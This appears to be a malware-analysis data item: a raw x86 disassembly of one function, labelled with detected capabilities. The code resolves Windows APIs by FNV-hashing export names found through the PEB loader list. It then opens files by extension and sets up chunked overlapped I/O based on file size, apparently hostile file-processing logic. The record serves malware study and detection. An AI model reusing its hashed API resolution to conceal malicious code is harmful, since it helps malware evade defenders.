Function at 0x42a990
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
mov eax, dword [0x4fd0b8]
xor eax, esp
mov dword [esp + 0x90], eax
push ebx
mov ebx, ecx
push esi
push edi
mov dword [esp + 0x2c], ebx
mov eax, ebx
cmp dword [ebx + 0x14], 8
jb 0x42a9bd
mov eax, dword [ebx]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov esi, eax
mov dword [esp + 0x64], 0
mov ecx, esi
mov dword [esp + 0x1c], esi
xor eax, eax
mov dword [esp + 0x68], 7
mov word [esp + 0x54], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42a9e6
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [esp + 0x5c]
call fcn.0042d9b0
lea eax, [esp + 0x54]
mov edx, 0x508958
push eax
mov ecx, 0x5088c8
call fcn.00430770
mov edx, dword [esp + 0x6c]
add esp, 4
mov esi, eax
cmp edx, 8
jb 0x42aa55
mov ecx, dword [esp + 0x54]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42aa4b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b3dd
push edx
push ecx
call fcn.0047904e
add esp, 8
cmp esi, 0x508958
jne 0x42b3c8
cmp dword [ebx + 0x14], 8
mov dword [esp + 0x20], ebx
jb 0x42aa71
mov eax, dword [ebx]
mov dword [esp + 0x20], eax
mov ecx, dword [0x509188]
test ecx, ecx
jne 0x42abf1
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x90b3a17d
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
movzx ecx, cx
test esi, esi
je 0x42aaeb
shr ecx, 1
xor esi, esi
mov ebx, 0x7169e0ca
lea ecx, [edx + ecx*2]
mov edi, ecx
sub edi, edx
inc edi
shr edi, 1
cmp edx, ecx
cmova edi, esi
test edi, edi
je 0x42aae3
nop dword [eax]
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, ebx
inc esi
imul ebx, ecx, 0x1000193
cmp esi, edi
jne 0x42aad0
mov esi, dword [esp + 0xc]
cmp ebx, esi
jne 0x42ab5b
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov edx, dword [esi + 0x3c]
mov ecx, dword [edx + esi + 0x78]
mov edx, dword [edx + esi + 0x7c]
add ecx, esi
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], ecx
cmp ecx, esi
je 0x42ab57
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42ab57
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x7169e0ca
mov cl, byte [edx]
inc edx
test cl, cl
je 0x42ab4a
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x42ab35
cmp esi, dword [esp + 0x14]
je 0x42ab62
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42ab20
mov esi, dword [esp + 0xc]
mov eax, dword [eax]
jmp 0x42aaa0
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x28]
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x1c]
add eax, edx
add ecx, edx
movzx eax, word [eax + edi*2]
mov ecx, dword [ecx + eax*4]
add ecx, edx
cmp ecx, esi
jbe 0x42abeb
mov eax, dword [esp + 0x24]
add eax, esi
cmp ecx, eax
jae 0x42abeb
mov al, byte [ecx]
mov esi, 0x7169e0ca
mov dword [esp + 0xc], esi
mov edx, esi
mov dword [esp + 0x14], edx
cmp al, 0x2e
je 0x42abb6
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42aba0
mov dword [esp + 0xc], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42abd8
nop
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42abc0
mov dword [esp + 0x14], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42aaa0
mov dword [0x509188], ecx
push 0
push 0x60000000
push 3
push 0
push 0
push 0xc0000000
push dword [esp + 0x38]
call ecx
mov edi, eax
mov dword [esp + 0x34], edi
cmp edi, 0xffffffff
je 0x42b3c8
mov ecx, dword [0x509164]
test ecx, ecx
jne 0x42ad95
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x41c7798a
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
movzx ecx, cx
test esi, esi
je 0x42ac8b
shr ecx, 1
xor esi, esi
mov ebx, 0x7b8b1284
lea ecx, [edx + ecx*2]
mov edi, ecx
sub edi, edx
inc edi
shr edi, 1
cmp edx, ecx
cmova edi, esi
test edi, edi
je 0x42ac83
nop dword [eax]
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, ebx
inc esi
imul ebx, ecx, 0x1000193
cmp esi, edi
jne 0x42ac70
mov esi, dword [esp + 0xc]
cmp ebx, esi
jne 0x42acfb
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov edx, dword [esi + 0x3c]
mov ecx, dword [edx + esi + 0x78]
mov edx, dword [edx + esi + 0x7c]
add ecx, esi
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], ecx
cmp ecx, esi
je 0x42acf7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42acf7
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x7b8b1284
mov cl, byte [edx]
inc edx
test cl, cl
je 0x42acea
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x42acd5
cmp esi, dword [esp + 0x14]
je 0x42ad02
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42acc0
mov esi, dword [esp + 0xc]
mov eax, dword [eax]
jmp 0x42ac40
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x28]
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x1c]
add eax, edx
add ecx, edx
movzx eax, word [eax + edi*2]
mov ecx, dword [ecx + eax*4]
add ecx, edx
cmp ecx, esi
jbe 0x42ad8b
mov eax, dword [esp + 0x24]
add eax, esi
cmp ecx, eax
jae 0x42ad8b
mov al, byte [ecx]
mov esi, 0x7b8b1284
mov dword [esp + 0xc], esi
mov edx, esi
mov dword [esp + 0x14], edx
cmp al, 0x2e
je 0x42ad56
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42ad40
mov dword [esp + 0xc], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42ad78
nop
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42ad60
mov dword [esp + 0x14], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42ac40
mov edi, dword [esp + 0x34]
mov dword [0x509164], ecx
lea eax, [esp + 0x88]
push eax
push edi
call ecx
test eax, eax
je 0x42b3c1
mov eax, dword [esp + 0x88]
or eax, dword [esp + 0x8c]
je 0x42b3c1
push 0x70
call fcn.0047901e
mov esi, eax
add esp, 4
lea ebx, [esi + 0x54]
xor eax, eax
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 7
push esi
push edi
mov dword [esp + 0x14], esi
mov word [ebx], ax
call fcn.004273e0
test al, al
je 0x42b3c1
push dword [esp + 0x8c]
mov ecx, dword [ebp + 8]
push dword [esp + 0x8c]
call fcn.0042f670
mov dword [esi], edi
add esp, 8
mov ecx, dword [esp + 0x88]
mov dword [esi + 0x40], ecx
mov ecx, dword [esp + 0x8c]
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], edx
mov edi, dword [esp + 0x8c]
mov esi, dword [esp + 0x88]
test edi, edi
jg 0x42ae6c
jl 0x42ae42
cmp esi, 0x70000
ja 0x42ae6c
mov edx, dword [esp + 0xc]
xorps xmm0, xmm0
movlpd qword [esp + 0x38], xmm0
mov edi, 1
mov dword [esp + 0x10], edi
mov dword [edx + 0x34], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x38]
jmp 0x42b083
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 7
mov word [esp + 0x6c], ax
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42ae90
sub ecx, edx
sar ecx, 1
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x74]
call fcn.0042d9b0
lea eax, [esp + 0x6c]
mov edx, 0x508df0
push eax
mov ecx, 0x508958
call fcn.00430770
mov edx, dword [esp + 0x84]
add esp, 4
mov dword [esp + 0x18], eax
cmp edx, 8
jb 0x42af0b
mov ecx, dword [esp + 0x6c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x42aefd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b3dd
push edx
push ecx
call fcn.0047904e
mov eax, dword [esp + 0x20]
add esp, 8
cmp eax, 0x508df0
jne 0x42afa5
test edi, edi
jg 0x42afce
jl 0x42af28
cmp esi, 0x1e00000
jae 0x42af35
mov dword [esp + 0x10], 3
jmp 0x42b04d
test edi, edi
jg 0x42afce
jl 0x42af47
cmp esi, 0xc800000
jae 0x42af54
mov dword [esp + 0x10], 4
jmp 0x42b04d
test edi, edi
jg 0x42afce
jl 0x42af62
cmp esi, 0x1f400000
jae 0x42af6f
mov dword [esp + 0x10], 5
jmp 0x42b04d
test edi, edi
jg 0x42afce
jl 0x42af7d
cmp esi, 0x40000000
jae 0x42af8a
mov dword [esp + 0x10], 8
jmp 0x42b04d
test edi, edi
jg 0x42afce
jl 0x42af98
cmp esi, 0x80000000
jae 0x42afce
mov dword [esp + 0x10], 0xc
jmp 0x42b04d
test edi, edi
jg 0x42b020
jl 0x42af47
cmp esi, 0x600000
jae 0x42afc0
mov dword [esp + 0x10], 4
jmp 0x42b04d
test edi, edi
jg 0x42b020
jl 0x42afce
cmp esi, 0x3200000
jae 0x42afd8
mov dword [esp + 0x10], 0x10
jmp 0x42b04d
test edi, edi
jg 0x42b020
jl 0x42afe6
cmp esi, 0x6400000
jae 0x42aff0
mov dword [esp + 0x10], 0x20
jmp 0x42b04d
test edi, edi
jg 0x42b020
jl 0x42affe
cmp esi, 0x1f400000
jae 0x42b008
mov dword [esp + 0x10], 0x40
jmp 0x42b04d
test edi, edi
jg 0x42b020
jl 0x42b016
cmp esi, 0x80000000
jae 0x42b020
mov dword [esp + 0x10], 0x80
jmp 0x42b04d
cmp edi, 3
jg 0x42b032
jl 0x42b02b
test esi, esi
jae 0x42b032
mov eax, 0x100
jmp 0x42b049
cmp edi, 6
jg 0x42b044
jl 0x42b03d
test esi, esi
jae 0x42b044
mov eax, 0x200
jmp 0x42b049
mov eax, 0x400
mov dword [esp + 0x10], eax
mov edi, dword [esp + 0x10]
push 0
push edi
push dword [esp + 0x94]
push dword [esp + 0x94]
call fcn.004cb0c0
mov ecx, dword [ebp + 8]
push edx
push eax
call fcn.0042f670
mov dword [esp + 0x20], edx
add esp, 8
mov edx, dword [esp + 0xc]
mov dword [edx + 0x34], 0x15000
mov dword [esp + 0x28], eax
lea ecx, [edx + 0x3c]
mov esi, edi
xchg dword [ecx], esi
mov eax, dword [ebp + 8]
mov dword [edx + 0x50], eax
mov eax, dword fs:[0x2c]
push 0x10
mov eax, dword [eax]
lea esi, [eax + 0x98]
lea eax, [edx + 0x24]
mov ecx, esi
push eax
call fcn.00453d00
mov eax, dword [esp + 0xc]
mov ecx, esi
push 0x20
add eax, 4
push eax
call fcn.00453d00
xor ecx, ecx
mov eax, edi
mov edx, 0x30
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00479477
mov edx, dword [esp + 0x10]
add esp, 4
mov ecx, dword [esp + 0x2c]
mov dword [edx + 0x38], eax
cmp ebx, ecx
je 0x42b103
cmp dword [ecx + 0x14], 8
mov eax, ecx
jb 0x42b0f4
mov eax, dword [ecx]
push dword [ecx + 0x10]
mov ecx, ebx
push eax
call fcn.0042d9b0
mov edx, dword [esp + 0xc]
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov dword [esp + 0x38], eax
xor ecx, ecx
mov eax, dword [sym.imp.NTDLL.dll_NtAllocateVirtualMemory]
mov dword [esp + 0x40], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x2c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x24], ecx
mov dword [esp + 0x44], eax
mov ebx, dword [edx + 0x38]
mov edi, dword [esp + 0x40]
add ebx, ecx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x84], 0
mov dword [ebx + 0x18], esi
mov esi, dword [esp + 0x44]
mov dword [ebx + 0x1c], 0
mov eax, dword [edx + 0x34]
mov dword [ebx + 0x28], eax
mov eax, dword [edx + 0x34]
mov dword [esp + 0x94], eax
nop dword [eax + eax]
push 4
push 0x3000
lea eax, [esp + 0x9c]
push eax
push 0
lea eax, [esp + 0x94]
push eax
call esi
push eax
call edi
test eax, eax
jne 0x42b170
mov eax, dword [esp + 0x84]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x2c]
mov dword [ebx + 0x24], eax
mov eax, dword [esp + 0x1c]
mov dword [ebx + 0x20], 0
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 8], eax
mov eax, dword [esp + 0x20]
mov dword [ebx + 0xc], eax
mov ecx, dword [0x50916c]
test ecx, ecx
jne 0x42b352
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x30], 0x7a75f467
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
movzx ecx, cx
test esi, esi
je 0x42b23c
shr ecx, 1
xor esi, esi
mov edi, 0xf9c702e1
lea ecx, [edx + ecx*2]
mov ebx, ecx
sub ebx, edx
inc ebx
shr ebx, 1
cmp edx, ecx
cmova ebx, esi
test ebx, ebx
je 0x42b234
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, edi
inc esi
imul edi, ecx, 0x1000193
cmp esi, ebx
jne 0x42b221
mov esi, dword [esp + 0x14]
cmp edi, esi
jne 0x42b2ad
mov esi, dword [eax + 0x18]
mov dword [esp + 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x4c], ecx
lea ecx, [edx + esi]
mov dword [esp + 0x84], ecx
cmp ecx, esi
je 0x42b2a9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42b2a9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, esi
dec edi
mov esi, 0xf9c702e1
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x42b29a
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x42b285
mov edx, dword [esp + 0x30]
cmp esi, edx
je 0x42b2b4
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42b270
mov esi, dword [esp + 0x14]
mov eax, dword [eax]
jmp 0x42b1f5
mov esi, dword [esp + 0x84]
mov edx, dword [esp + 0x48]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + edx]
add ecx, edx
cmp ecx, esi
jbe 0x42b340
mov eax, dword [esp + 0x4c]
add eax, esi
cmp ecx, eax
jae 0x42b340
mov al, byte [ecx]
mov esi, 0xf9c702e1
mov dword [esp + 0x14], esi
mov edx, esi
mov dword [esp + 0x30], edx
cmp al, 0x2e
je 0x42b30d
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42b2f7
mov dword [esp + 0x14], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42b32d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42b315
mov dword [esp + 0x30], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42b1f5
mov ebx, dword [esp + 0x50]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x2c]
mov dword [0x50916c], ecx
push ebx
lea eax, [esp + 0x9c]
push eax
mov eax, dword [esp + 0x14]
push dword [eax + 0x34]
push dword [ebx + 0x24]
push dword [esp + 0x44]
call ecx
test eax, eax
jne 0x42b37a
call dword [esp + 0x38]
cmp eax, 0x3e5
jne 0x42b3a7
mov eax, dword [esp + 0x28]
inc esi
mov ecx, dword [esp + 0x24]
add dword [esp + 0x1c], eax
add ecx, 0x30
mov eax, dword [esp + 0x18]
add dword [esp + 0x20], eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x24], ecx
cmp esi, edi
jae 0x42b3c8
mov edx, dword [esp + 0xc]
jmp 0x42b132
call fcn.00427600
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x90]
xor ecx, esp
call fcn.0047900d
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0047900d
mov esp, ebp
pop ebp
ret
call fcn.0049a859
int3